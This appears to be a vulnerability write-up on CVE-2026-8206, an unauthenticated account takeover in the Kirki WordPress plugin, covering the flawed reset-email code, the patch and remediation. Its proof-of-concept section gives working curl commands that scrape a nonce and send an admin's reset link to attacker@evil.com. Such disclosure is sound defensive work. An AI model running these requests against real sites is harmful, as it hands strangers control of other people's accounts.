CVE-2026-8206: Kirki Unauthenticated Account Takeover via Email Redirect (CVSS 9.8)
Table of Contents
CVE-2026-8206 is a CVSS 9.8 Critical unauthenticated privilege escalation vulnerability in the Kirki – Freeform Page Builder, Website Builder & Customizer WordPress plugin. An unauthenticated attacker can redirect a password reset email for any registered user to an attacker-controlled address, gaining full access to that account.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Kirki – Freeform Page Builder, Website Builder & Customizer |
| Plugin Slug | kirki |
| CVE ID | CVE-2026-8206 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Privilege Escalation via Account Takeover |
| Affected Versions | <= 6.0.6 |
| Patched Version | 6.0.7 |
| Published | June 1, 2026 |
| Researcher | CHOIGYEONGMIN |
| Wordfence Advisory | Link |
Description
The Kirki plugin includes a page-builder component called the Component Library. This component provides form elements — login, registration, forgot-password — that plugin users can embed on any page.
These form elements communicate with a REST API controller, CompLibFormHandler. The handle_forgot_password endpoint is the source of this vulnerability. It accepts a username and a separate email address from the request. When a username is supplied, the function looks up the account and generates a valid password reset key. Then it sends the reset email to the email address from the request — not to the account owner’s email.
An attacker who knows a valid username (for example, admin) can supply their own email address. They receive the reset link and use it to change the account password.
Technical Analysis
Hook Registration and the Open Permission Callback
The CompLibFormHandler class registers all its endpoints in its constructor (CompLibFormHandler.php, lines 18–25). Each endpoint uses the same permission_callback:
public function get_item_permissions_check( $request ) {
return true;
}
This always returns true. No authentication or role check is performed. Any visitor can call the endpoint.
The Nonce Is Not Authentication
All endpoints call validate_nonce() before processing. This reads the X-WP-Element-Nonce HTTP header and verifies it with wp_verify_nonce().
WordPress nonces are CSRF tokens. They prevent cross-site request forgery — they do not authenticate a user. For a visitor who is not logged in, WordPress generates a nonce tied to a zero-user session token. This nonce remains valid for up to 24 hours.
The nonce value is embedded in the page’s JavaScript. The class KirkiComponentLibrary outputs it via add_component_library_script() (ComponentLibrary/index.php, lines 64–71):
$script = 'var KirkiComponentLibrary = window.KirkiComponentLibrary === undefined
? {form: ' . wp_json_encode($value) . ', root_url: "..."}
: {...}';
This injects the full component_lib_forms array — which includes the nonce for every form element on the page — into the HTML source. Any visitor who loads a page containing a Kirki forgot-password element can read the nonce from the source.
The Vulnerable Code Path
The handle_forgot_password function processes the request at lines 261–350 of CompLibFormHandler.php:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$transiet_name = $this->validate_nonce( 'kirki-forgot-password' );
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : ''; // line 265
$username = isset( $form_data['username'] ) ? sanitize_text_field( $form_data['username'] ) : ''; // line 266
// ...username-from-email fallback omitted...
if ( isset( $username ) && strlen( $username ) > 0 ) {
$user = get_user_by( 'login', $username ); // line 281 — look up victim's account
// ...user-not-found check omitted...
$key = get_password_reset_key( $user ); // line 290 — generate reset key for victim
$chip_data = array(
'username' => $username,
'email' => $email, // line 304 — ATTACKER'S email, not victim's
'displayname' => $user->display_name,
'sitename' => get_bloginfo( 'name' ),
'reset_link' => "$url?action=rp&key=$key&login=" . rawurlencode( $username ),
);
// ...email body building...
$sent = wp_mail( $email, $email_subject, $email_body, $headers ); // line 330 — sends to ATTACKER
The function takes $email from the request (line 265), looks up the victim by $username (line 281), and generates a real reset key for the victim (line 290). It then sends the reset email to $email from the request (line 330) — which is the attacker’s address.
The chip_data array includes 'reset_link' built from the victim’s actual reset key. If the attacker supplies an emailBody that includes the reset_link chip, they receive a working password reset link in their inbox.
Root Cause
The function never compares the supplied $email against the account’s actual email ($user->user_email). There is no ownership check. Any email address passes.
Proof of Concept
Disclaimer: This PoC is provided for educational purposes and authorized security testing only. Do not use this against any site without explicit written permission.
Prerequisites: Kirki plugin version 6.0.0–6.0.6 is installed and active. At least one page uses a Kirki forgot-password form element.
Step 1 — Extract the nonce
Visit any page that has the Kirki forgot-password element. View the page source and locate the inline script that sets the KirkiComponentLibrary variable. Copy the nonce value for the forgot-password form:
# Example: fetch the page source and extract the nonce
curl -s https://target.example.com/login-page/ \
| grep -o '"nonce":"[^"]*"' | head -1
# Output example: "nonce":"abc123def456"
Step 2 — Send the exploit request
Replace NONCE, TARGET_USERNAME, and ATTACKER_EMAIL with real values:
curl -s -X POST \
https://target.example.com/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-WP-Element-Nonce: NONCE" \
--data-urlencode "username=admin" \
--data-urlencode "email=attacker@evil.com" \
--data-urlencode "emailSubject=Password Reset" \
--data-urlencode 'emailBody=[{"type":"chip","value":"reset_link"}]'
A successful response looks like:
{"message":"Email sent"}
Step 3 — Verify account takeover
Check the attacker’s inbox. The email contains the password reset link:
https://target.example.com/?action=rp&key=<RESET_KEY>&login=admin
Open this URL and set a new password. Log in as the target user.
Patch Analysis
Version 6.0.7 adds an email ownership check immediately after resolving the user by username (CompLibFormHandler.php, lines ~290–298 in the patched file):
+ $user_email = $user->get( 'user_email' );
+ if($email !== $user_email) {
+ $response = array(
+ 'message' => 'Invalid email address',
+ );
+ return new WP_REST_Response( $response, 404 );
+ }
+ $email = $user_email;
+
$key = get_password_reset_key( $user );
The patch:
- Reads the account’s actual email from the database.
- Compares it to the request’s
$email. If they differ, returns a 404 error. - Reassigns
$email = $user_email, ensuring subsequent code uses only the verified address.
The fix addresses the root cause: the function now confirms the caller knows the account’s email before sending the reset link.
Timeline
| Date | Event |
|---|---|
| June 1, 2026 | Wordfence publicly published the advisory |
| June 2, 2026 | Advisory last updated |
| June 7, 2026 | This blog post published |
Remediation
Update the Kirki plugin to version 6.0.7 or later. You can update directly from the WordPress admin dashboard under Plugins → Updates, or download the patched release from wordpress.org/plugins/kirki.
If you cannot update immediately, consider deactivating the plugin until the update is applied.
References
- Wordfence Advisory – CVE-2026-8206
- CVE-2026-8206 on cve.org
- Vulnerable file – CompLibFormHandler.php#L330 (tag 6.0.4)
- Patched file – CompLibFormHandler.php#L330 (trunk)
- Vulnerable file – CompLibFormHandler.php#L48 (tag 6.0.4)
- Patched file – CompLibFormHandler.php#L48 (trunk)
- Nonce exposure – ElementGenerator.php#L227 (trunk)
- Nonce exposure – ElementGenerator.php#L227 (tag 6.0.4)
- Patch changeset 3530843
Frequently Asked Questions
What is CVE-2026-8206?
CVE-2026-8206 is a CVSS 9.8 Critical privilege escalation vulnerability in the Kirki WordPress plugin. An unauthenticated attacker can send a valid password reset link for any site user to their own email address, then use it to take over that account.
Which versions of Kirki are affected by CVE-2026-8206?
All versions from 6.0.0 up to and including 6.0.6 are affected. Version 6.0.7 contains the fix.
What can an attacker do with CVE-2026-8206?
An attacker can reset the password of any WordPress user, including administrators, without knowing their email address. This gives the attacker full control of the targeted account.
Does an attacker need to be logged in to exploit CVE-2026-8206?
No. Any visitor can exploit this vulnerability. Only the plugin's nonce is required, and that nonce is embedded in the page source of any page that uses a Kirki form element.
How do I fix CVE-2026-8206 in Kirki?
Update Kirki to version 6.0.7 or later from the WordPress admin dashboard or wordpress.org.
Has Kirki been patched for CVE-2026-8206?
Yes. Version 6.0.7 was released on June 1, 2026 and resolves this vulnerability by verifying that the supplied email matches the account's actual email before sending the reset link.